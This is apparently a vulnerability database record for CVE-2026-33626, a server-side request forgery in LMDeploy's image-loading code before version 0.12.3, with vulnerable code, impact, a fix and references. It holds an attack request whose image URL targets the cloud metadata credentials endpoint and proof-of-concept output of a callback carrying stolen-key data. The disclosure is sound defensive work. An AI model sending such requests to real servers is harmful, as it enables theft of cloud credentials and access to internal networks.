{"id":"CVE-2026-33626","aliases":["CVE-2026-33626","GHSA-6w67-hwm5-92mq","PYSEC-2026-2607"],"related":[],"kind":"vulnerability","state":"published","title":"LMDeploy Vulnerable to Server-Side Request Forgery (SSRF) via Vision-Language Image Loading","summary":"LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions prior to 0.12.3 have a Server-Side Request Forgery (SSRF) vulnerability in LMDeploy's vision-language module. The `load_image()` function in `lmdeploy/vl/utils.py` fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources. Version 0.12.3 patches the issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions prior to 0.12.3 have a Server-Side Request Forgery (SSRF) vulnerability in LMDeploy's vision-language module. The `load_image()` function in `lmdeploy/vl/utils.py` fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources. Version 0.12.3 patches the issue.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The `load_image()` function in `lmdeploy/vl/utils.py` fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.\n\n## Affected Versions\n\n- **Tested on:** main branch (2026-02-04)\n- **Affected:** All versions prior to 0.12.3\n\n## Vulnerable Code\n\n**File:** `lmdeploy/vl/utils.py` (lines 64-67)\n```python\ndef load_image(image_url: Union[str, Image.Image]) -> Image.Image:\n    # ...\n    if image_url.startswith('http'):\n        response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)\n        # NO VALIDATION OF URL/IP BEFORE REQUEST\n```\n\n**Also affected:** `encode_image_base64()` function (lines 26-29)\n\n## Root Cause\n\n1. No validation of URLs before fetching\n2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)\n3. Server binds to `0.0.0.0` by default (api_server.py line 1393)\n4. API keys disabled by default\n\n## Attack Scenario\n\n1. LMDeploy server deployed with vision-language model\n2. Attacker sends request to `/v1/chat/completions` with malicious `image_url`:\n```python\nPOST /v1/chat/completions\n{\n  \"model\": \"internlm-xcomposer2\",\n  \"messages\": [{\n    \"role\": \"user\", \n    \"content\": [\n      {\"type\": \"text\", \"text\": \"Describe this image\"},\n      {\"type\": \"image_url\", \"image_url\": {\"url\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"}}\n    ]\n  }]\n}\n```\n\n3. Server fetches URL without validation\n4. Attacker receives cloud credentials\n\n## Proof of Concept\n\n### Verified Exploitation Result\n```\n╔═══════════════════════════════════════════════════════════════════════╗\n║  LMDeploy SSRF Vulnerability - Proof of Concept                       ║\n╚═══════════════════════════════════════════════════════════════════════╝\n\n[1] Starting callback server on port 8889...\n[2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY\n[3] Calling vulnerable load_image() function...\n\n======================================================================\n[+] SSRF CALLBACK RECEIVED!\n======================================================================\n    Time:       2026-02-04 16:10:57\n    Path:       /SSRF_PROOF?stolen_data=AWS_SECRET_KEY\n    Client:     127.0.0.1:51154\n    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...\n======================================================================\n\n✅ SSRF VULNERABILITY CONFIRMED!\n```\n\n## Impact\n\n- **Cloud Credential Theft:** Access AWS/GCP/Azure metadata APIs\n- **Internal Service Access:** Reach services not exposed to internet  \n- **Information Disclosure:** Port scan internal networks\n- **Lateral Movement:** Pivot point for further attacks\n\n## Recommended Fix\n```python\nfrom urllib.parse import urlparse\nimport ipaddress\nimport socket\n\nBLOCKED_NETWORKS = [\n    ipaddress.ip_network('127.0.0.0/8'),\n    ipaddress.ip_network('10.0.0.0/8'),\n    ipaddress.ip_network('172.16.0.0/12'),\n    ipaddress.ip_network('192.168.0.0/16'),\n    ipaddress.ip_network('169.254.0.0/16'),\n]\n\ndef is_safe_url(url: str) -> bool:\n    try:\n        parsed = urlparse(url)\n        if parsed.scheme not in ('http', 'https'):\n            return False\n        ip = socket.gethostbyname(parsed.hostname)\n        ip_addr = ipaddress.ip_address(ip)\n        return not any(ip_addr in network for network in BLOCKED_NETWORKS)\n    except:\n        return False\n```\n\n---\n\n## Credit\n\nThis vulnerability was discovered as part of Orca Security's research.\n\n**Researcher:** Igor Stepansky  \n**Organization:** Orca Security  \n**Emails:** \nigor.stepansky@orca.security  \niggy.p0pi@orca.security","format":"markdown","source":"ghsa"},{"lang":"es","text":"LMDeploy es un kit de herramientas para comprimir, desplegar y servir modelos de lenguaje grandes. Versiones anteriores a la 0.12.3 tienen una vulnerabilidad de falsificación de petición del lado del servidor (SSRF) en el módulo de visión-lenguaje de LMDeploy. La función ’load_image()’ en ’lmdeploy/vl/utils.py’ obtiene URLs arbitrarias sin validar direcciones IP internas/privadas, permitiendo a los atacantes acceder a servicios de metadatos en la nube, redes internas y recursos sensibles. La versión 0.12.3 parchea el problema.","source":"nvd"}],"published":"2026-04-20T20:29:19.558Z","modified":"2026-10-26T21:10:00.170Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"rating":"HIGH"}],"cwes":["CWE-918"],"affected":[{"ranges":[{"version":"< 0.12.3","status":"affected"}],"vendor":"InternLM","product":"lmdeploy","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","lastAffected":"0.12.2"}],"ecosystem":"PyPI","package":"lmdeploy","purl":"pkg:pypi/lmdeploy","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"0.12.3"}],"vendor":"internlm","product":"lmdeploy","cpe":"cpe:2.3:a:internlm:lmdeploy:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","lastAffected":"0.12.2"}],"ecosystem":"PyPI","package":"lmdeploy","purl":"pkg:pypi/lmdeploy","source":"pysec"}],"references":[{"url":"https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq","tags":["exploit","mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/InternLM/lmdeploy/pull/4447","tags":["issue-tracking","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/InternLM/lmdeploy/commit/71d64a339edb901e9005358e0633fbbab367d626","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/InternLM/lmdeploy/releases/tag/v0.12.3","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33626","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/InternLM/lmdeploy","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/lmdeploy","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-6w67-hwm5-92mq","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-04-21T17:52:10.383Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-33626","url":"https://www.cve.org/CVERecord?id=CVE-2026-33626","licence":"CVE Terms of Use","modified":"2026-04-21T19:50:13.326Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-6w67-hwm5-92mq","url":"https://github.com/advisories/GHSA-6w67-hwm5-92mq","licence":"CC-BY-4.0","modified":"2026-07-13T16:43:45.013Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-33626","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33626","licence":"Public domain","modified":"2026-10-26T21:10:00.170Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-2607","url":"https://osv.dev/vulnerability/PYSEC-2026-2607","licence":"CC-BY-4.0","modified":"2026-07-13T16:32:04.931Z"}],"updatedAt":"2026-11-25T22:59:19.062Z","epss":{"score":0.4525,"percentile":0.98811,"date":"2026-12-01T12:00:22.000Z"}}